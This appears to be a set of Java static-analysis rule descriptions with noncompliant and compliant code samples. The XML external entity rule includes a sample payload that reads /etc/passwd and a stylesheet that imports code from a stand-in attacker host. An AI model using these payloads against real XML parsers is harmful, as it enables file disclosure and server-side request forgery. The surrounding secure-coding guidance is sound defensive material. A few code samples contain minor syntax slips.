Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Noncompliant Code Example

if ( a == a ) { // always true
  doZ();
}
if ( a != a ) { // always false
  doY();
}
if ( a == b && a == b ) { // if the first one is true, the second one is too
  doX();
}
if ( a == b || a == b ) { // if the first one is true, the second one is too
  doW();
}

int j = 5 / 5; //always 1
int k = 5 - 5; //always 0

c.equals(c); //always true

Exceptions

  • This rule ignores *, +, and =.
  • The specific case of testing a floating point value against itself is a valid test for NaN and is therefore ignored.
  • Similarly, left-shifting 1 onto 1 is common in the construction of bit masks, and is ignored.
float f;
if(f != f) { //test for NaN value
  System.out.println("f is NaN");
}

int i = 1 << 1; // Compliant
int j = a << a; // Noncompliant

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
java:S1643

Strings are immutable objects, so concatenation doesn't simply add the new String to the end of the existing string. Instead, in each loop iteration, the first String is converted to an intermediate object type, the second string is appended, and then the intermediate object is converted back to a String. Further, performance of these intermediate operations degrades as the String gets longer. Therefore, the use of StringBuilder is preferred.

Noncompliant Code Example

String str = "";
for (int i = 0; i < arrayOfStrings.length ; ++i) {
  str = str + arrayOfStrings[i];
}

Compliant Solution

StringBuilder bld = new StringBuilder();
  for (int i = 0; i < arrayOfStrings.length; ++i) {
    bld.append(arrayOfStrings[i]);
  }
  String str = bld.toString();
java:S1996

A file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. This is doubly true for a file with multiple top-level classes and interfaces. It is strongly advised to divide the file into one top-level class or interface per file.

java:S3937

The use of punctuation characters to separate subgroups in a number can make the number more readable. For instance consider 1,000,000,000 versus 1000000000. But when the grouping is irregular, such as 1,000,00,000; it indicates an error.

This rule raises an issue when underscores (_) are used to break a number into irregular subgroups.

Noncompliant Code Example

int duos = 1_00_00;
int million = 1_000_00_000;  // Noncompliant
int thousand = 1000;
int tenThousand = 100_00;  // Noncompliant
java:S1871

Having two cases in a switch statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a switch, one should fall through to the other.

Noncompliant Code Example

switch (i) {
  case 1:
    doFirstThing();
    doSomething();
    break;
  case 2:
    doSomethingDifferent();
    break;
  case 3:  // Noncompliant; duplicates case 1's implementation
    doFirstThing();
    doSomething();
    break;
  default:
    doTheRest();
}

if (a >= 0 && a < 10) {
  doFirstThing();
  doTheThing();
}
else if (a >= 10 && a < 20) {
  doTheOtherThing();
}
else if (a >= 20 && a < 50) {
  doFirstThing();
  doTheThing();  // Noncompliant; duplicates first condition
}
else {
  doTheRest();
}

Exceptions

Blocks in an if chain that contain a single line of code are ignored, as are blocks in a switch statement that contain a single line of code with or without a following break.

if (a == 1) {
  doSomething();  //no issue, usually this is done on purpose to increase the readability
} else if (a == 2) {
  doSomethingElse();
} else {
  doSomething();
}

But this exception does not apply to if chains without else-s, or to switch-es without default clauses when all branches have the same single line of code. In case of if chains with else-s, or of switch-es with default clauses, rule S3923 raises a bug.

if (a == 1) {
  doSomething();  //Noncompliant, this might have been done on purpose but probably not
} else if (a == 2) {
  doSomething();
}
java:S1872

There is no requirement that class names be unique, only that they be unique within a package. Therefore trying to determine an object's type based on its class name is an exercise fraught with danger. One of those dangers is that a malicious user will send objects of the same name as the trusted class and thereby gain trusted access.

Instead, the instanceof operator or the Class.isAssignableFrom() method should be used to check the object's underlying type.

Noncompliant Code Example

package computer;
class Pear extends Laptop { ... }

package food;
class Pear extends Fruit { ... }

class Store {

  public boolean hasSellByDate(Object item) {
    if ("Pear".equals(item.getClass().getSimpleName())) {  // Noncompliant
      return true;  // Results in throwing away week-old computers
    }
    return false;
  }

  public boolean isList(Class<T> valueClass) {
    if (List.class.getName().equals(valueClass.getName())) {  // Noncompliant
      return true;
    }
    return false;
  }
}

Compliant Solution

class Store {

  public boolean hasSellByDate(Object item) {
    if (item instanceof food.Pear) {
      return true;
    }
    return false;
  }

  public boolean isList(Class<T> valueClass) {
    if (valueClass.isAssignableFrom(List.class)) {
      return true;
    }
    return false;
  }
}

See

java:S1751

A loop with at most one iteration is equivalent to the use of an if statement to conditionally execute one piece of code. No developer expects to find such a use of a loop statement. If the initial intention of the author was really to conditionally execute one piece of code, an if statement should be used instead.

At worst that was not the initial intention of the author and so the body of the loop should be fixed to use the nested return, break or throw statements in a more appropriate way.

Noncompliant Code Example

for (int i = 0; i < 10; i++) { // noncompliant, loop only executes once
  printf("i is %d", i);
  break;
}
...
for (int i = 0; i < 10; i++) { // noncompliant, loop only executes once
  if (i == x) {
    break;
  } else {
    printf("i is %d", i);
    return;
  }
}

Compliant Solution

for (int i = 0; i < 10; i++) {
  printf("i is %d", i);
}
...
for (int i = 0; i < 10; i++) {
  if (i == x) {
    break;
  } else {
    printf("i is %d", i);
  }
}
java:S1994

It can be extremely confusing when a for loop's counter is incremented outside of its increment clause. In such cases, the increment should be moved to the loop's increment clause if at all possible.

Noncompliant Code Example

for (i = 0; i < 10; j++) { // Noncompliant
  // ...
  i++;
}

Compliant Solution

for (i = 0; i < 10; i++, j++) {
  // ...
}

Or

for (i = 0; i < 10; i++) {
  // ...
  j++;
}
java:S1874

Once deprecated, classes, and interfaces, and their members should be avoided, rather than used, inherited or extended. Deprecation is a warning that the class or interface has been superseded, and will eventually be removed. The deprecation period allows you to make a smooth transition away from the aging, soon-to-be-retired technology.

Noncompliant Code Example

/**
 * @deprecated  As of release 1.3, replaced by {@link #Fee}
 */
@Deprecated
public class Fum { ... }

public class Foo {
  /**
   * @deprecated  As of release 1.7, replaced by {@link #doTheThingBetter()}
   */
  @Deprecated
  public void doTheThing() { ... }

  public void doTheThingBetter() { ... }
}

public class Bar extends Foo {
  public void doTheThing() { ... } // Noncompliant; don't override a deprecated method or explicitly mark it as @Deprecated
}

public class Bar extends Fum {  // Noncompliant; Fum is deprecated

  public void myMethod() {
    Foo foo = new Foo();  // okay; the class isn't deprecated
    foo.doTheThing();  // Noncompliant; doTheThing method is deprecated
  }
}

See

java:S2755

XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.

Example in this XML document, an external entity read the /etc/passwd file:

<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE test [
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
  ]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
  <to>&xxe;</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
  <xsl:import href="http://www.attacker.com/evil.xsl"/>
  <xsl:include href="http://www.attacker.com/evil.xsl"/>
 <xsl:template match="/">
  &content;
 </xsl:template>
</xsl:stylesheet>

It is recommended to disable access to external entities and network access in general.

To protect Java XML Parsers from XXE attacks these properties have been defined since JAXP 1.5:

  • ACCESS_EXTERNAL_DTD: should be set to "" when processing XML/XSD/XLS files (it looks for external DOCTYPEs)
  • ACCESS_EXTERNAL_SCHEMA: should be set to "" when processing XML/XSD/XLS files (it looks for external schemalocation ect)
  • ACCESS_EXTERNAL_STYLESHEET should be set to "" when processing XLS file (it looks for external imports, includes ect);

Note that Apache Xerces is still based on JAXP 1.4, therefore one solution is to set to false the external-general-entities feature.

Avoid FEATURE_SECURE_PROCESSING feature to protect from XXE attacks because depending on the implementation:

  • it has no effect to protect the parser from XXE attacks but helps guard against excessive memory consumption from XML processing.
  • or it's just an obscur shortcut (it could set ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA to "" but without guarantee).

Noncompliant Code Examples

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();  // Noncompliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();  // Noncompliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();  // Noncompliant
XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();  // Noncompliant
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);  // Noncompliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
Validator validator = schema.newValidator();   // Noncompliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

Dom4j library:

SAXReader xmlReader = new SAXReader(); // Noncompliant by default
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Noncompliant by default
Document document = builder.build(new File(xml));

Compliant Solution

DocumentBuilderFactory library:

String xml = "xxe.xml";
DocumentBuilderFactory df = DocumentBuilderFactory.newInstance();
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
df.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
DocumentBuilder builder = df.newDocumentBuilder();
Document document = builder.parse(new InputSource(xml));
DOMSource domSource = new DOMSource(document);

SAXParserFactory library:

String xml = "xxe.xml";
SaxHandler handler = new SaxHandler();
SAXParserFactory factory = SAXParserFactory.newInstance();
SAXParser parser = factory.newSAXParser();
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
parser.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // compliant
parser.parse(xml, handler);

XMLInputFactory library:

XMLInputFactory factory = XMLInputFactory.newInstance();
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");  // compliant

XMLEventReader eventReader = factory.createXMLEventReader(new FileReader("xxe.xml"));

TransformerFactory library:

String xslt = "xxe.xsl";
String xml = "xxe.xml";
TransformerFactory transformerFactory = javax.xml.transform.TransformerFactory.newInstance();
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
transformerFactory.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, ""); // Compliant
// ACCESS_EXTERNAL_SCHEMA not supported in several TransformerFactory implementations
Transformer transformer = transformerFactory.newTransformer(new StreamSource(xslt));

StringWriter writer = new StringWriter();
transformer.transform(new StreamSource(xml), new StreamResult(writer));
String result = writer.toString();

SchemaFactory library:

String xsd = "xxe.xsd";
StreamSource xsdStreamSource = new StreamSource(xsd);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
Schema schema = schemaFactory.newSchema(xsdStreamSource);

Validator library:

String xsd = "xxe.xsd";
String xml = "xxe.xml";
StreamSource xsdStreamSource = new StreamSource(xsd);
StreamSource xmlStreamSource = new StreamSource(xml);

SchemaFactory schemaFactory = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = schemaFactory.newSchema(xsdStreamSource);
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");
schemaFactory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");
// validators will also inherit of these properties
Validator validator = schema.newValidator();

validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");   // Compliant
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");   // Compliant

StringWriter writer = new StringWriter();
validator.validate(xmlStreamSource, new StreamResult(writer));

For dom4j library, ACCESS_EXTERNAL_DTD and ACCESS_EXTERNAL_SCHEMA are not supported, thus a very strict fix is to disable doctype declarations:

SAXReader xmlReader = new SAXReader();
xmlReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // Compliant
Document xmlResponse = xmlReader.read(xml);

Jdom2 library:

SAXBuilder builder = new SAXBuilder(); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, ""); // Compliant
builder.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, ""); // Compliant
Document document = builder.build(new File(xml));

See

java:S2637

Fields, parameters and return values marked @NotNull, @NonNull, or @Nonnull are assumed to have non-null values and are not typically null-checked before use. Therefore setting one of these values to null, or failing to set such a class field in a constructor, could cause NullPointerExceptions at runtime.

Noncompliant Code Example

public class MainClass {

  @Nonnull
  private String primary;
  private String secondary;

  public MainClass(String color) {
    if (color != null) {
      secondary = null;
    }
    primary = color;  // Noncompliant; "primary" is Nonnull but could be set to null here
  }

  public MainClass() { // Noncompliant; "primary" Nonnull" but is not initialized
  }

  @Nonnull
  public String indirectMix() {
    String mix = null;
    return mix;  // Noncompliant; return value is Nonnull, but null is returned.}}
  }

See

java:S3725

The Files.exists method has noticeably poor performance in JDK 8, and can slow an application significantly when used to check files that don't actually exist.

The same goes for Files.notExists, Files.isDirectory and Files.isRegularFile.

Note that this rule is automatically disabled when the project's sonar.java.source is not 8.

Noncompliant Code Example

Path myPath;
if(java.nio.Files.exists(myPath)) {  // Noncompliant
 // do something
}

Compliant Solution

Path myPath;
if(myPath.toFile().exists())) {
 // do something
}

See

java:S2757

The use of operators pairs ( =+, =- or =! ) where the reversed, single operator was meant (+=, -= or !=) will compile and run, but not produce the expected results.

This rule raises an issue when =+, =-, or =! is used without any spacing between the two operators and when there is at least one whitespace character after.

Noncompliant Code Example

int target = -5;
int num = 3;

target =- num;  // Noncompliant; target = -3. Is that really what's meant?
target =+ num; // Noncompliant; target = 3

Compliant Solution

int target = -5;
int num = 3;

target = -num;  // Compliant; intent to assign inverse value of num is clear
target += num;
java:S2639

Regular expressions are powerful but tricky, and even those long used to using them can make mistakes.

The following should not be used as regular expressions:

  • . - matches any single character. Used in replaceAll, it matches everything
  • | - normally used as an option delimiter. Used stand-alone, it matches the space between characters
  • File.separator - matches the platform-specific file path delimiter. On Windows, this will be taken as an escape character

Noncompliant Code Example

String str = "/File|Name.txt";

String clean = str.replaceAll(".",""); // Noncompliant; probably meant to remove only dot chars, but returns an empty string
String clean2 = str.replaceAll("|","_"); // Noncompliant; yields _/_F_i_l_e_|_N_a_m_e_._t_x_t_
String clean3 = str.replaceAll(File.separator,""); // Noncompliant; exception on Windows

String clean4 = str.replaceFirst(".",""); // Noncompliant;
String clean5 = str.replaceFirst("|","_"); // Noncompliant;
String clean6 = str.replaceFirst(File.separator,""); // Noncompliant;
java:S4818

Using sockets is security-sensitive. It has led in the past to the following vulnerabilities:

Sockets are vulnerable in multiple ways:

  • They enable a software to interact with the outside world. As this world is full of attackers it is necessary to check that they cannot receive sensitive information or inject dangerous input.
  • The number of sockets is limited and can be exhausted. Which makes the application unresponsive to users who need additional sockets.

This rules flags code that creates sockets. It matches only the direct use of sockets, not use through frameworks or high-level APIs such as the use of http connections.

Ask Yourself Whether

  • sockets are created without any limit every time a user performs an action.
  • input received from sockets is used without being sanitized.
  • sensitive data is sent via sockets without being encrypted.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • In many cases there is no need to open a socket yourself. Use instead libraries and existing protocols.
  • Encrypt all data sent if it is sensitive. Usually it is better to encrypt it even if the data is not sensitive as it might change later.
  • Sanitize any input read from the socket.
  • Limit the number of sockets a given user can create. Close the sockets as soon as possible.

Sensitive Code Example

// === java.net ===
import java.net.Socket;
import java.net.InetAddress;
import java.net.Proxy;
import java.net.ServerSocket;
import javax.net.SocketFactory;

class A {
    void foo(SocketFactory factory, String address, int port, InetAddress localAddr, int localPort, boolean stream,
            String host, Proxy proxy, int backlog, InetAddress bindAddr)
            throws Exception {
        new Socket(); // Sensitive.
        new Socket(address, port); // Sensitive.
        new Socket(address, port, localAddr, localPort); // Sensitive.
        new Socket(host, port, stream); // Sensitive.
        new Socket(proxy); // Sensitive.
        new Socket(host, port); // Sensitive.
        new Socket(host, port, stream); // Sensitive.
        new Socket(host, port, localAddr, localPort); // Sensitive.

        new ServerSocket(); // Sensitive.
        new ServerSocket(port); // Sensitive.
        new ServerSocket(port, backlog); // Sensitive.
        new ServerSocket(port, backlog, bindAddr); // Sensitive.

        factory.createSocket(); // Sensitive
    }
}

abstract class mySocketFactory extends SocketFactory { // Sensitive. Review how the sockets are created.
    // ...
}
// === java.nio.channels ===
import java.net.SocketAddress;
import java.nio.channels.AsynchronousChannelGroup;
import java.nio.channels.AsynchronousServerSocketChannel;
import java.nio.channels.AsynchronousSocketChannel;
import java.nio.channels.SocketChannel;
import java.nio.channels.ServerSocketChannel;

class A {
    void foo(AsynchronousChannelGroup group, SocketAddress remote) throws Exception {
        AsynchronousServerSocketChannel.open(); // Sensitive.
        AsynchronousServerSocketChannel.open(group); // Sensitive.
        AsynchronousSocketChannel.open(); // Sensitive.
        AsynchronousSocketChannel.open(group); // Sensitive.
        SocketChannel.open(); // Sensitive.
        SocketChannel.open(remote); // Sensitive.
        ServerSocketChannel.open(); // Sensitive.
    }
}
// === Netty ===
import io.netty.channel.ChannelInitializer;
import io.netty.channel.socket.ServerSocketChannel;
import io.netty.channel.socket.SocketChannel;

class CustomChannelInitializer extends ChannelInitializer<ServerSocketChannel> { // Sensitive. Review how the SocketChannel is used.
    @Override
    protected void initChannel(ServerSocketChannel ch) throws Exception {
    }
}

class A {
    void foo() {
        new ChannelInitializer<SocketChannel>() {  // Sensitive
            @Override
            public void initChannel(SocketChannel ch) throws Exception {
                // ...
            }
        };
    }
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S2638

Because a subclass instance may be cast to and treated as an instance of the superclass, overriding methods should uphold the aspects of the superclass contract that relate to the Liskov Substitution Principle. Specifically, if the parameters or return type of the superclass method are marked with any of the following: @Nullable, @CheckForNull, @NotNull, @NonNull, and @Nonnull, then subclass parameters are not allowed to tighten the contract, and return values are not allowed to loosen it.

Noncompliant Code Example

public class Fruit {

  private Season ripe;
  private String color;

  public void setRipe(@Nullable Season ripe) {
    this.ripe = ripe;
  }

  public @NotNull Integer getProtein() {
    return 12;
  }
}

public class Raspberry extends Fruit {

  public void setRipe(@NotNull Season ripe) {  // Noncompliant
    this.ripe = ripe;
  }

  public @Nullable Integer getProtein() {  // Noncompliant
    return null;
  }
}

See

java:S1309

This rule allows you to track the usage of the @SuppressWarnings mechanism.

Noncompliant Code Example

With a parameter value of "unused" :

@SuppressWarnings("unused")
@SuppressWarnings("unchecked")  // Noncompliant
java:S1541

The cyclomatic complexity of methods should not exceed a defined threshold.

Complex code can perform poorly and will in any case be difficult to understand and therefore to maintain.

Exceptions

While having a large number of fields in a class may indicate that it should be split, this rule nonetheless ignores high complexity in equals and hashCode methods.

java:S1301

switch statements are useful when there are many different cases depending on the value of the same expression.

For just one or two cases however, the code will be more readable with if statements.

Noncompliant Code Example

switch (variable) {
  case 0:
    doSomething();
    break;
  default:
    doSomethingElse();
    break;
}

Compliant Solution

if (variable == 0) {
  doSomething();
} else {
  doSomethingElse();
}
java:S4925

In the past, it was required to load a JDBC driver before creating a java.sql.Connection. Nowadays, when using JDBC 4.0 drivers, this is no longer required and Class.forName() can be safely removed because JDBC 4.0 (JDK 6) drivers available in the classpath are automatically loaded.

This rule raises an issue when Class.forName() is used with one of the following values:

  • com.mysql.jdbc.Driver
  • oracle.jdbc.driver.OracleDriver
  • com.ibm.db2.jdbc.app.DB2Driver
  • com.ibm.db2.jdbc.net.DB2Driver
  • com.sybase.jdbc.SybDriver
  • com.sybase.jdbc2.jdbc.SybDriver
  • com.teradata.jdbc.TeraDriver
  • com.microsoft.sqlserver.jdbc.SQLServerDriver
  • org.postgresql.Driver
  • sun.jdbc.odbc.JdbcOdbcDriver
  • org.hsqldb.jdbc.JDBCDriver
  • org.h2.Driver
  • org.firebirdsql.jdbc.FBDriver
  • net.sourceforge.jtds.jdbc.Driver

Noncompliant Code Example

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class Demo {
  private static final String DRIVER_CLASS_NAME = "org.postgresql.Driver";
  private final Connection connection;

  public Demo(String serverURI) throws SQLException, ClassNotFoundException {
    Class.forName(DRIVER_CLASS_NAME); // Noncompliant; no longer required to load the JDBC Driver using Class.forName()
    connection = DriverManager.getConnection(serverURI);
  }
}

Compliant Solution

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class Demo {
    private final Connection connection;

    public Demo(String serverURI) throws SQLException {
        connection = DriverManager.getConnection(serverURI);
    }
}
java:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

public void setName(String name) {
  name = name;
}

Compliant Solution

public void setName(String name) {
  this.name = name;
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
java:S1659

Declaring multiple variables on one line is difficult to read.

Noncompliant Code Example

class MyClass {

  private int a, b;

  public void method(){
    int c; int d;
  }
}

Compliant Solution

class MyClass {

  private int a;
  private int b;

  public void method(){
    int c;
    int d;
  }
}

See

  • CERT, DCL52-J. - Do not declare more than one variable per declaration
  • CERT, DCL04-C. - Do not declare more than one variable per declaration
java:S3959

Stream operations are divided into intermediate and terminal operations, and are combined to form stream pipelines. After the terminal operation is performed, the stream pipeline is considered consumed, and cannot be used again. Such a reuse will yield unexpected results.

Noncompliant Code Example

Stream<Widget> pipeline = widgets.stream().filter(b -> b.getColor() == RED);
int sum1 = pipeline.sum();
int sum2 = pipeline.mapToInt(b -> b.getWeight()).sum(); // Noncompliant

See

Stream Operations

java:S4929

When directly subclassing java.io.InputStream or java.io.FilterInputStream, the only requirement is that you implement the method read(). However most uses for such streams don't read a single byte at a time and the default implementation for read(byte[],int,int) will call read(int) for every single byte in the array which can create a lot of overhead and is utterly inefficient. It is therefore strongly recommended that subclasses provide an efficient implementation of read(byte[],int,int).

This rule raises an issue when a direct subclass of java.io.InputStream or java.io.FilterInputStream doesn't provide an override of read(byte[],int,int).

Noncompliant Code Example

public class MyInputStream extends java.io.InputStream {
  private FileInputStream fin;

  public MyInputStream(File file) throws IOException {
    fin = new FileInputStream(file);
  }

  @Override
  public int read() throws IOException {
    return fin.read();
  }
}

Compliant Solution

public class MyInputStream extends java.io.InputStream {
  private FileInputStream fin;

  public MyInputStream(File file) throws IOException {
    fin = new FileInputStream(file);
  }

  @Override
  public int read() throws IOException {
    return fin.read();
  }

  @Override
  public int read(byte[] b, int off, int len) throws IOException {
    return fin.read(b, off, len);
  }
}

Exceptions

This rule doesn't raise an issue when the class is declared abstract.

java:S3958

There are two types of stream operations: intermediate operations, which return another stream, and terminal operations, which return something other than a stream. Intermediate operations are lazy, meaning they aren't actually executed until and unless a terminal stream operation is performed on their results. Consequently if the result of an intermediate stream operation is not fed to a terminal operation, it serves no purpose, which is almost certainly an error.

Noncompliant Code Example

widgets.stream().filter(b -> b.getColor() == RED); // Noncompliant

Compliant Solution

int sum = widgets.stream()
                      .filter(b -> b.getColor() == RED)
                      .mapToInt(b -> b.getWeight())
                      .sum();
Stream<Widget> pipeline = widgets.stream()
                                 .filter(b -> b.getColor() == GREEN)
                                 .mapToInt(b -> b.getWeight());
sum = pipeline.sum();

See

Stream Operations

java:S4926

Providing a serialVersionUID field on Serializable classes is strongly recommended by the Serializable documentation but blindly following that recommendation can be harmful.

serialVersionUID value is stored with the serialized data and this field is verified when deserializing the data to ensure that the code reading the data is compatible with the serialized data. In case of failure, it means the serialized data and the code are not in sync and this fine because you know what's wrong.

When the serialVersionUID is generated by an IDE or blindly hard-coded, there is a high probability that one will forget to update the serialVersionUID value when the Serializable class is later enriched with additional fields. As a consequence, old serialized data will incorrectly be considered compatible with the newer version of the code creating situations which are hard to debug.

Therefore, defining serialVersionUID should be done with care. This rule raises an issue on each serialVersionUID field declared on classes implementing Serializable to be sure the presence and the value of the serialVersionUID field is challenged and validated by the team.

Noncompliant Code Example

public class Foo implements Serializable {
  private static final long serialVersionUID = 1;
}

public class BarException extends RuntimeException {
  private static final long serialVersionUID = 8582433437601788991L;
}

See

java:S2629

Passing message arguments that require further evaluation into a Guava com.google.common.base.Preconditions check can result in a performance penalty. That's because whether or not they're needed, each argument must be resolved before the method is actually called.

Similarly, passing concatenated strings into a logging method can also incur a needless performance hit because the concatenation will be performed every time the method is called, whether or not the log level is low enough to show the message.

Instead, you should structure your code to pass static or pre-computed values into Preconditions conditions check and logging calls.

Specifically, the built-in string formatting should be used instead of string concatenation, and if the message is the result of a method call, then Preconditions should be skipped altogether, and the relevant exception should be conditionally thrown instead.

Noncompliant Code Example

logger.log(Level.DEBUG, "Something went wrong: " + message);  // Noncompliant; string concatenation performed even when log level too high to show DEBUG messages

logger.fine("An exception occurred with message: " + message); // Noncompliant

LOG.error("Unable to open file " + csvPath, e);  // Noncompliant

Preconditions.checkState(a > 0, "Arg must be positive, but got " + a);  // Noncompliant. String concatenation performed even when a > 0

Preconditions.checkState(condition, formatMessage());  // Noncompliant. formatMessage() invoked regardless of condition

Preconditions.checkState(condition, "message: %s", formatMessage());  // Noncompliant

Compliant Solution

logger.log(Level.SEVERE, "Something went wrong: {0} ", message);  // String formatting only applied if needed

logger.fine("An exception occurred with message: {}", message);  // SLF4J, Log4j

logger.log(Level.SEVERE, () -> "Something went wrong: " + message); // since Java 8, we can use Supplier , which will be evaluated lazily

LOG.error("Unable to open file {0}", csvPath, e);

if (LOG.isDebugEnabled() {
  LOG.debug("Unable to open file " + csvPath, e);  // this is compliant, because it will not evaluate if log level is above debug.
}

Preconditions.checkState(arg > 0, "Arg must be positive, but got %d", a);  // String formatting only applied if needed

if (!condition) {
  throw new IllegalStateException(formatMessage());  // formatMessage() only invoked conditionally
}

if (!condition) {
  throw new IllegalStateException("message: " + formatMessage());
}

Exceptions

catch blocks are ignored, because the performance penalty is unimportant on exceptional paths (catch block should not be a part of standard program flow). Getters are ignored as well as methods called on annotations which can be considered as getters. This rule accounts for explicit test-level testing with SLF4J methods isXXXEnabled and ignores the bodies of such if statements.

java:S2864

When only the keys from a map are needed in a loop, iterating the keySet makes sense. But when both the key and the value are needed, it's more efficient to iterate the entrySet, which will give access to both the key and value, instead.

Noncompliant Code Example

public void doSomethingWithMap(Map<String,Object> map) {
  for (String key : map.keySet()) {  // Noncompliant; for each key the value is retrieved
    Object value = map.get(key);
    // ...
  }
}

Compliant Solution

public void doSomethingWithMap(Map<String,Object> map) {
  for (Map.Entry<String,Object> entry : map.entrySet()) {
    String key = entry.getKey();
    Object value = entry.getValue();
    // ...
  }
}
java:S1774

While the ternary operator is pleasingly compact, its use can make code more difficult to read. It should therefore be avoided in favor of the more verbose if/else structure.

Noncompliant Code Example

System.out.println(i>10?"yes":"no");

Compliant Solution

if (i > 10) {
  System.out.println(("yes");
} else {
  System.out.println("no");
}
java:S4792

Configuring loggers is security-sensitive. It has led in the past to the following vulnerabilities:

Logs are useful before, during and after a security incident.

  • Attackers will most of the time start their nefarious work by probing the system for vulnerabilities. Monitoring this activity and stopping it is the first step to prevent an attack from ever happening.
  • In case of a successful attack, logs should contain enough information to understand what damage an attacker may have inflicted.

Logs are also a target for attackers because they might contain sensitive information. Configuring loggers has an impact on the type of information logged and how they are logged.

This rule flags for review code that initiates loggers configuration. The goal is to guide security code reviews.

Ask Yourself Whether

  • unauthorized users might have access to the logs, either because they are stored in an insecure location or because the application gives access to them.
  • the logs contain sensitive information on a production server. This can happen when the logger is in debug mode.
  • the log can grow without limit. This can happen when additional information is written into logs every time a user performs an action and the user can perform the action as many times as he/she wants.
  • the logs do not contain enough information to understand the damage an attacker might have inflicted. The loggers mode (info, warn, error) might filter out important information. They might not print contextual information like the precise time of events or the server hostname.
  • the logs are only stored locally instead of being backuped or replicated.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Check that your production deployment doesn't have its loggers in "debug" mode as it might write sensitive information in logs.
  • Production logs should be stored in a secure location which is only accessible to system administrators.
  • Configure the loggers to display all warnings, info and error messages. Write relevant information such as the precise time of events and the hostname.
  • Choose log format which is easy to parse and process automatically. It is important to process logs rapidly in case of an attack so that the impact is known and limited.
  • Check that the permissions of the log files are correct. If you index the logs in some other service, make sure that the transfer and the service are secure too.
  • Add limits to the size of the logs and make sure that no user can fill the disk with logs. This can happen even when the user does not control the logged information. An attacker could just repeat a logged action many times.

Remember that configuring loggers properly doesn't make them bullet-proof. Here is a list of recommendations explaining on how to use your logs:

  • Don't log any sensitive information. This obviously includes passwords and credit card numbers but also any personal information such as user names, locations, etc... Usually any information which is protected by law is good candidate for removal.
